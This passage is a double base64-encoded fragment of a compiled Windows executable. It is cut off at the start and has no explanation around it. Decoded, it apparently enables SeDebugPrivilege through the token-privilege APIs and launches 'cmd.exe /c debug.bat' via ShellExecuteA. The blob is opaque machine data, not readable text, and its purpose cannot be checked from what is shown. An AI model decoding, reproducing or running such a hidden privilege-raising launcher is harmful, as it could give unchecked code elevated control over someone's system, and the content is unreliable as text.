hHQmthR3h3ZEhoOGdJU0lqSkNVbUp5Z3BLaXNzTFM0dk1ERXlNelExTmpjNE9UbzdQRDArUDBCQlFrTkVSVVpIU0VsS1MweE5UazlRVVZKVFZGVldWMWhaV2x0Y1hWNWZZR0ZpWTJSbFptZG9hV3ByYkcxdWIzQnhjbk4wZFhaM2VIbDZlM3g5Zm44QVUyVkVaV0oxWjFCeWFYWnBiR1ZuWlFBQUFBQUFBQUFBQUFBQUFBQUFBQUF2WXlCa1pXSjFaeTVpWVhRZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQUFBQUFBQUFBQUFZenBjZDJsdVpHOTNjMXh6ZVhOMFpXMHpNbHhqYldRdVpYaGxBRzl3Wlc0QUFBQUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFCQ3dBQUQ0bFFBQTBKVUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSUFBQUFRbGdBQUFBQUFBQUFBQUFBb2xnQUFVSllBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFRc0FBQUFRQUFBQUFBQUFELy8vLy9BQUFBQUVBQUFBRDRsUUFBQUFBQUFBQUFBQUFBQUFBQU9MQUFBQUFBQUFBQUFBQUEvLy8vL3dBQUFBQkFBQUFBZUpZQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUpDV0FBQUFBQUFBQUFBQUFGQ1dBQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFBQUFBQTRzQUFBZUpZQUFLQ1dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFBdUxBQUFQQ1dBQURJbGdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUFBaVhBQUFBQUFBQUFBQUFBQmlYQUFBQUFBQUFBQUFBQUFBQUFBQzRzQUFBQUFBQUFBQUFBQUQvLy8vL0FBQUFBRUFBQUFEd2xnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBRVFvQ0FBb3lCakJvRmdBQUFRQUFBQUVTQUFBakVnQUFzR1FBQUFBQUFBQUpGUWdBRlhRS0FCVmtDUUFWTkFnQUZWSVJ3R2dXQUFBQkFBQUE0UklBQUtzVEFBRFdaQUFBcnhNQUFBRU1BZ0FNQVJFQUFTQU1BQ0JrRVFBZ1ZCQUFJRFFPQUNCeUhQQWE0QmpRRnNBVWNBRUdBZ0FHTWdKUUVRb0VBQW8wQmdBS01nWndhQllBQUFJQUFBRDZHQUFBQkJrQUFQUmtBQUFBQUFBQUdSa0FBRUFaQUFBVVpRQUFBQUFBQUJFVEJBQVROQWNBRXpJUGNHZ1dBQUFDQUFBQW9Cb0FBTTBhQUFEMFpBQUFBQUFBQU44YUFBQVdHd0FBRkdVQUFBQUFBQUFCR1FvQUdYUUpBQmxrQ0FBWlZBY0FHVFFHQUJreUZjQUJCZ0lBQmpJQ01BRVBCQUFQTkFZQUR6SUxjQkVjQ2dBY1pBOEFIRFFPQUJ4eUdQQVc0QlRRRXNBUWNHZ1dBQUFCQUFBQXd4OEFBTkVnQUFBdlpRQUFBQUFBQUFFY0N3QWNkQmdBSEZRWEFCdzBGZ0FjQVJJQUZlQVQwQkhBQUFBQkR3WUFEMlFIQUE4MEJnQVBNZ3R3QVIwTUFCMTBDd0FkWkFvQUhWUUpBQjAwQ0FBZE1obmdGOUFWd0FFUEJnQVBaQXNBRHpRS0FBOVNDM0FCR1FvQUdYUU5BQmxrREFBWlZBc0FHVFFLQUJseUZjQUJDZ1FBQ2pRSUFBb3lCbkFCRkFZQUZHUUhBQlEwQmdBVU1oQndFUmtLQUJsMENnQVpaQWtBR1RRSUFCa3lGZUFUMEJIQWFCWUFBQUVBQUFBK0x3QUFCREFBQUZObEFBQUFBQUFBQVJJR0FCSjBFQUFTTkE4QUVySUxVQUFBQUFBQkJ3SUFCd0diQUFFQUFBQUJBQUFBQVFBQUFBa0VBUUFFUWdBQWFCWUFBQUVBQUFEWE1nQUFDak1BQUhCbEFBQUtNd0FBQVJVSUFCVjBDQUFWWkFjQUZUUUdBQlV5RWNBQkZBZ0FGR1FJQUJSVUJ3QVVOQVlBRkRJUWNCRVZDQUFWZEFnQUZXUUhBQlUwQmdBVk1oSFFhQllBQUFFQUFBQzdOQUFBK1RRQUFKSmxBQUFBQUFBQUFRb0VBQW8wQmdBS01nWndFUVlDQUFZeUFqQm9GZ0FBQVFBQUFLYzRBQUM5T0FBQXNHVUFBQUFBQUFBWkx3a0FIblMxQUI1a3RBQWVOTE1BSGdHd0FCQlFBQUN3V0FBQWNBVUFBQkVLQkFBS05BY0FDaklHY0dnV0FBQUJBQUFBbWpzQUFQRTdBQURMWlFBQUFBQUFBQUVHQWdBR2NnSXdHUjhJQUJBMEVBQVFjZ3pRQ3NBSWNBZGdCbEN3V0FBQU9BQUFBQkVaQ2dBWnhBc0FHWFFLQUJsa0NRQVpOQWdBR1ZJVjBHZ1dBQUFCQUFBQXBFQUFBRkJCQUFETFpRQUFBQUFBQUFrRUFRQUVRZ0FBYUJZQUFBRUFBQUM1UXdBQXZVTUFBQUVBQUFDOVF3QUFFUmNLQUJka0RnQVhOQTBBRjFJVDhCSGdEOUFOd0F0d2FCWUFBQUVBQUFCUlJRQUEzMFVBQU9abEFBQUFBQUFBR1M0SkFCMWt4QUFkTk1NQUhRRytBQTdBREhBTFVBQUFzRmdBQU9BRkFBQUJGQWdBRkdRS0FCUlVDUUFVTkFnQUZGSVFjQUVFQVFBRVlnQUFHUzBMQUJ0a1VRQWJWRkFBR3pSUEFCc0JTZ0FVMEJMQUVIQUFBTEJZQUFCQUFnQUFBUVFCQUFSQ0FBQUFBQUFBQVFBQUFBRVBCZ0FQWkFzQUR6UUtBQTl5QzNBUkJnSUFCbElDTUdnV0FBQUJBQUFBUEUwQUFJUk5BQUFFWmdBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFFQUFBQUJEZ0lBRGpJS01BRUtBZ0FLTWdZd0FBQUFBQUVBQUFBWkxRMUZIM1FTQUJ0a0VRQVhOQkFBRTBNT2tncndDT0FHMEFUQUFsQUFBTEJZQUFCSUFBQUFBUThHQUE5a0VRQVBOQkFBRDlJTGNCa3REVFVmZEJBQUcyUVBBQmMwRGdBVE13NXlDdkFJNEFiUUJNQUNVQUFBc0ZnQUFEQUFBQUFCRHdZQUQyUVBBQTgwRGdBUHNndHdHUjRJQUErU0MrQUowQWZBQlhBRVlBTlFBakN3V0FBQVNBQUFBQUVFQVFBRUVnQUFBUUFBQUFBQUFBQUJBQUFBR1JNQkFBVENBQUN3V0FBQVVBQUFBQUFBQUFBQUFBQUFWQlVBQUFBQUFBQ29uQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFEQW5BQUE2SndBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFRc0FBQUFBQUFBUC8vLy84QUFBQUFHQUFBQUtBVkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU9MQUFBQUFBQUFELy8vLy9BQUFBQUJnQUFBQm9MZ0FBQUFBQUFBQUFBQUNBblFBQUFBQUFBQUFBQUFDaW53QUFJSEFBQUdDZEFBQUFBQUFBQUFBQUFQU2ZBQUFBY0FBQWFKOEFBQUFBQUFBQUFBQUFFcUFBQUFoeUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFEY253QUFBQUFBQU1TZkFBQUFBQUFBc0o4QUFBQUFBQUFBQUFBQUFBQUFBSlNmQUFBQUFBQUFqSjhBQUFBQUFBQjRud0FBQUFBQUFCNmdBQUFBQUFBQU5LQUFBQUFBQUFCQ29BQUFBQUFBQUZTZ0FBQUFBQUFBYUtBQUFBQUFBQUNFb0FBQUFBQUFBS0tnQUFBQUFBQUF0cUFBQUFBQUFBREtvQUFBQUFBQUFPU2dBQUFBQUFBQStLQUFBQUFBQUFBR29RQUFBQUFBQUJhaEFBQUFBQUFBSktFQUFBQUFBQUF1b1FBQUFBQUFBRDZoQUFBQUFBQUFUcUVBQUFBQUFBQmFvUUFBQUFBQUFHYWhBQUFBQUFBQWVLRUFBQUFBQUFDTW9RQUFBQUFBQUpxaEFBQUFBQUFBcXFFQUFBQUFBQUM4b1FBQUFBQUFBTXloQUFBQUFBQUE5S0VBQUFBQUFBQUNvZ0FBQUFBQUFCU2lBQUFBQUFBQUxLSUFBQUFBQUFCQ29nQUFBQUFBQUZ5aUFBQUFBQUFBY3FJQUFBQUFBQUNNb2dBQUFBQUFBS0tpQUFBQUFBQUFzS0lBQUFBQUFBQytvZ0FBQUFBQUFNeWlBQUFBQUFBQTVxSUFBQUFBQUFEMm9nQUFBQUFBQUF5akFBQUFBQUFBSnFNQUFBQUFBQUF5b3dBQUFBQUFBRVNqQUFBQUFBQUFXS01BQUFBQUFBQndvd0FBQUFBQUFJaWpBQUFBQUFBQWxLTUFBQUFBQUFDZW93QUFBQUFBQUtxakFBQUFBQUFBdktNQUFBQUFBQURLb3dBQUFBQUFBTnFqQUFBQUFBQUE1cU1BQUFBQUFBRDhvd0FBQUFBQUFBaWtBQUFBQUFBQUdLUUFBQUFBQUFBdXBBQUFBQUFBQUFBQUFBQUFBQUFBQXFBQUFBQUFBQUFBQUFBQUFBQUFBTVlCUjJWMFEzVnljbVZ1ZEZCeWIyTmxjM01Bd0FSVGJHVmxjQUJTQUVOc2IzTmxTR0Z1Wkd4bEFFdEZVazVGVERNeUxtUnNiQUFBOXdGUGNHVnVVSEp2WTJWemMxUnZhMlZ1QUFDV0FVeHZiMnQxY0ZCeWFYWnBiR1ZuWlZaaGJIVmxRUUFmQUVGa2FuVnpkRlJ2YTJWdVVISnBkbWxzWldkbGN3QkJSRlpCVUVrek1pNWtiR3dBQUI0QlUyaGxiR3hGZUdWamRYUmxRUUJUU0VWTVRETXlMbVJzYkFETEFVZGxkRU4xY25KbGJuUlVhSEpsWVdSSlpBQUFXd0ZHYkhOVFpYUldZV3gxWlFDTUFVZGxkRU52YlcxaGJtUk1hVzVsUVFET0JGUmxjbTFwYm1GMFpWQnliMk5sYzNNQUFPSUVWVzVvWVc1a2JHVmtSWGhqWlhCMGFXOXVSbWxzZEdWeUFBQ3pCRk5sZEZWdWFHRnVaR3hsWkVWNFkyVndkR2x2YmtacGJIUmxjZ0FDQTBselJHVmlkV2RuWlhKUWNtVnpaVzUwQUNZRVVuUnNWbWx5ZEhWaGJGVnVkMmx1WkFBQUh3UlNkR3hNYjI5cmRYQkdkVzVqZEdsdmJrVnVkSEo1QUFBWUJGSjBiRU5oY0hSMWNtVkRiMjUwWlhoMEFDVUVVblJzVlc1M2FXNWtSWGdBN2dCRmJtTnZaR1ZRYjJsdWRHVnlBRm9CUm14elIyVjBWbUZzZFdVQVdRRkdiSE5HY21WbEFJQUVVMlYwVEdGemRFVnljbTl5QUFBSUFrZGxkRXhoYzNSRmNuSnZjZ0FBV0FGR2JITkJiR3h2WXdBQTF3SklaV0Z3Um5KbFpRQUFUQUpIWlhSUWNtOWpRV1JrY21WemN3QUFIZ0pIWlhSTmIyUjFiR1ZJWVc1a2JHVlhBQUFmQVVWNGFYUlFjbTlqWlhOekFNc0FSR1ZqYjJSbFVHOXBiblJsY2dCOEJGTmxkRWhoYm1Sc1pVTnZkVzUwQUFCckFrZGxkRk4wWkVoaGJtUnNaUUFBNndKSmJtbDBhV0ZzYVhwbFEzSnBkR2xqWVd4VFpXTjBhVzl1UVc1a1UzQnBia052ZFc1MEFQb0JSMlYwUm1sc1pWUjVjR1VBYWdKSFpYUlRkR0Z5ZEhWd1NXNW1iMWNBMGdCRVpXeGxkR1ZEY21sMGFXTmhiRk5sWTNScGIyNEFHUUpIWlhSTmIyUjFiR1ZHYVd4bFRtRnRaVUVBQUdjQlJuSmxaVVZ1ZG1seWIyNXRaVzUwVTNSeWFXNW5jMWNBSUFWWGFXUmxRMmhoY2xSdlRYVnNkR2xDZVhSbEFPRUJSMlYwUlc1MmFYSnZibTFsYm5SVGRISnBibWR6VndBQTJ3SklaV0Z3VTJWMFNXNW1iM0p0WVhScGIyNEFBS29DUjJWMFZtVnljMmx2YmdBQTFRSklaV0Z3UTNKbFlYUmxBQURXQWtobFlYQkVaWE4wY205NUFLa0RVWFZsY25sUVpYSm1iM0p0WVc1alpVTnZkVzUwWlhJQW1nSkhaWFJVYVdOclEyOTFiblFBQU1jQlIyVjBRM1Z5Y21WdWRGQnliMk5sYzNOSlpBQ0FBa2RsZEZONWMzUmxiVlJwYldWQmMwWnBiR1ZVYVcxbEFOTUNTR1ZoY0VGc2JHOWpBTFFEVW1GcGMyVkZlR05sY0hScGIyNEFBQ0VFVW5Sc1VHTlViMFpwYkdWSVpXRmtaWElBT3dOTVpXRjJaVU55YVhScFkyRnNVMlZqZEdsdmJnQUE4Z0JGYm5SbGNrTnlhWFJwWTJGc1UyVmpkR2x2YmdBQWVBRkhaWFJEVUVsdVptOEFiZ0ZIWlhSQlExQUFBRDRDUjJWMFQwVk5RMUFBQUF3RFNYTldZV3hwWkVOdlpHVlFZV2RsQU5vQ1NHVmhjRkpsUVd4c2IyTUFRUU5NYjJGa1RHbGljbUZ5ZVZjQUFEUUZWM0pwZEdWR2FXeGxBQm9DUjJWMFRXOWtkV3hsUm1sc1pVNWhiV1ZYQUFEY0FraGxZWEJUYVhwbEFBQXZBMHhEVFdGd1UzUnlhVzVuVndBQWFRTk5kV3gwYVVKNWRHVlViMWRwWkdWRGFHRnlBSEFDUjJWMFUzUnlhVzVuVkhsd1pWY0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQXlvdDh0bVNzQUFNMWRJTkptMVAvLzZITUFnQUVBQUFBQUFBQUFBQUFBQUM0L1FWWmlZV1JmWVd4c2IyTkFjM1JrUUVBQUFBQUFBT2h6QUlBQkFBQUFBQUFBQUFBQUFBQXVQMEZXWlhoalpYQjBhVzl1UUhOMFpFQkFBUC8vLy8vLy8vLy8vLy8vLzRBS0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBNkhNQWdBRUFBQUFBQUFBQUFBQUFBQzQvUVZaMGVYQmxYMmx1Wm05QVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFTUFBQUFBQUFBQUFBQUFBQUFBQUFEWWR3Q0FBUUFBQU5SM0FJQUJBQUFBMEhjQWdBRUFBQURNZHdDQUFRQUFBTWgzQUlBQkFBQUF4SGNBZ0FFQUFBREFkd0NBQVFBQUFMaDNBSUFCQUFBQXNIY0FnQUVBQUFDb2R3Q0FBUUFBQUpoM0FJQUJBQUFBaUhjQWdBRUFBQUI4ZHdDQUFRQUFBSEIzQUlBQkFBQUFiSGNBZ0FFQUFBQm9kd0NBQVFBQUFHUjNBSUFCQUFBQVlIY0FnQUVBQUFCY2R3Q0FBUUFBQUZoM0FJQUJBQUFBVkhjQWdBRUFBQUJRZHdDQUFRQUFBRXgzQUlBQkFBQUFTSGNBZ0FFQUFBQkVkd0NBQVFBQUFFQjNBSUFCQUFBQU9IY0FnQUVBQUFBb2R3Q0FBUUFBQUJ4M0FJQUJBQUFBRkhjQWdBRUFBQUJjZHdDQUFRQUFBQXgzQUlBQkFBQUFCSGNBZ0FFQUFBRDhkZ0NBQVFBQUFQQjJBSUFCQUFBQTZIWUFnQUVBQUFEWWRnQ0FBUUFBQU1oMkFJQUJBQUFBd0hZQWdBRUFBQUM4ZGdDQUFRQUFBTEIyQUlBQkFBQUFtSFlBZ0FFQUFBQ0lkZ0NBQVFBQUFBa0VBQUFCQUFBQUFBQUFBQUFBQUFDQWRnQ0FBUUFBQUhoMkFJQUJBQUFBY0hZQWdBRUFBQUJvZGdDQUFRQUFBR0IyQUlBQkFBQUFXSFlBZ0FFQUFBQlFkZ0NBQVFBQUFFQjJBSUFCQUFBQU1IWUFnQUVBQUFBZ2RnQ0FBUUFBQUFoMkFJQUJBQUFBOEhVQWdBRUFBQURnZFFDQUFRQUFBTWgxQUlBQkFBQUF3SFVBZ0FFQUFBQzRkUUNBQVFBQUFMQjFBSUFCQUFBQXFIVUFnQUVBQUFDZ2RRQ0FBUUFBQUpoMUFJQUJBQUFBa0hVQWdBRUFBQUNJZFFDQUFRQUFBSUIxQUlBQkFBQUFlSFVBZ0FFQUFBQndkUUNBQVFBQUFHaDFBSUFCQUFBQVdIVUFnQUVBQUFCQWRRQ0FBUUFBQURCMUFJQUJBQUFBSUhVQWdBRUFBQUNnZFFDQUFRQUFBQkIxQUlBQkFBQUFBSFVBZ0FFQUFBRHdkQUNBQVFBQUFOaDBBSUFCQUFBQXlIUUFnQUVBQUFDd2RBQ0FBUUFBQUpoMEFJQUJBQUFBakhRQWdBRUFBQUNFZEFDQUFRQUFBSEIwQUlBQkFBQUFTSFFBZ0FFQUFBQXdkQUNBQVFBQUFBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSUxNQWdBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWdzd0NBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNDekFJQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFJTE1BZ0FFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZ3N3Q0FBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQUFBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlMNEFnQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBNElNQWdBRUFBQUJ3aUFDQUFRQUFBUENKQUlBQkFBQUFNTE1BZ0FFQUFBRHd0UUNBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFBQUFBQUFBQUlDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCaFltTmtaV1puYUdscWEyeHRibTl3Y1hKemRIVjJkM2g1ZWdBQUFBQUFBRUZDUTBSRlJrZElTVXBMVEUxT1QxQlJVbE5VVlZaWFdGbGFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRQUFBQUFBQUFJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCaFltTmtaV1puYUdscWEyeHRibTl3Y1hKemRIVjJkM2g1ZWdBQUFBQUFBRUZDUTBSRlJrZElTVXBMVEUxT1QxQlJVbE5VVlZaWFdGbGFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHQzNBSUFCQUFBQUFRSUVDQUFBQUFDa0F3QUFZSUo1Z2lFQUFBQUFBQUFBcHQ4QUFBQUFBQUNocFFBQUFBQUFBSUdmNFB3QUFBQUFRSDZBL0FBQUFBQ29Bd0FBd2FQYW95QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlIK0FBQUFBQUFBUVA0QUFBQUFBQUMxQXdBQXdhUGFveUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFJSCtBQUFBQUFBQVFmNEFBQUFBQUFDMkF3QUF6Nkxrb2hvQTVhTG9vbHNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSUgrQUFBQUFBQUFRSDZoL2dBQUFBQlJCUUFBVWRwZTJpQUFYOXBxMmpJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlIVDJON2crUUFBTVg2Qi9nQUFBQUFCQUFBQUZnQUFBQUlBQUFBQ0FBQUFBd0FBQUFJQUFBQUVBQUFBR0FBQUFBVUFBQUFOQUFBQUJnQUFBQWtBQUFBSEFBQUFEQUFBQUFnQUFBQU1BQUFBQ1FBQUFBd0FBQUFLQUFBQUJ3QUFBQXNBQUFBSUFBQUFEQUFBQUJZQUFBQU5BQUFBRmdBQUFBOEFBQUFDQUFBQUVBQUFBQTBBQUFBUkFBQUFFZ0FBQUJJQUFBQUNBQUFBSVFBQUFBMEFBQUExQUFBQUFnQUFBRUVBQUFBTkFBQUFRd0FBQUFJQUFBQlFBQUFBRVFBQUFGSUFBQUFOQUFBQVV3QUFBQTBBQUFCWEFBQUFGZ0FBQUZrQUFBQUxBQUFBYkFBQUFBMEFBQUJ0QUFBQUlBQUFBSEFBQUFBY0FBQUFjZ0FBQUFrQUFBQUdBQUFBRmdBQUFJQUFBQUFLQUFBQWdRQUFBQW9BQUFDQ0FBQUFDUUFBQUlNQUFBQVdBQUFBaEFBQUFBMEFBQUNSQUFBQUtRQUFBSjRBQUFBTkFBQUFvUUFBQUFJQUFBQ2tBQUFBQ3dBQUFLY0FBQUFOQUFBQXR3QUFBQkVBQUFET0FBQUFBZ0FBQU5jQUFBQUxBQUFBR0FjQUFBd0FBQUFNQUFBQUNBQUFBRlJlQUlBQkFBQUFWRjRBZ0FFQUFBQlVYZ0NBQVFBQUFGUmVBSUFCQUFBQVZGNEFnQUVBQUFCVVhnQ0FBUUFBQUZSZUFJQUJBQUFBVkY0QWdBRUFBQUJVWGdDQUFRQUFBRlJlQUlBQkFBQUFMZ0FBQUM0QUFBQmd2Z0NBQVFBQUFGQytBSUFCQUFBQVRNOEFnQUVBQUFCTXp3Q0FBUUFBQUV6UEFJQUJBQUFBVE04QWdBRUFBQUJNendDQUFRQUFBRXpQQUlBQkFBQUFUTThBZ0FFQUFBQk16d0NBQVFBQUFFelBBSUFCQUFBQWYzOS9mMzkvZjM5VXZnQ0FBUUFBQUZEUEFJQUJBQUFBVU04QWdBRUFBQUJRendDQUFRQUFBRkRQQUlBQkFBQUFVTThBZ0FFQUFBQlF6d0NBQVFBQUFGRFBBSUFCQUFBQS92Ly8vd0FBQUFEZ2d3Q0FBUUFBQU9LRkFJQUJBQUFBQWdBQUFBQUFBQUFBQUFBQUFBQUFBT1NGQUlBQkFBQUFBUUFBQUM0QUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB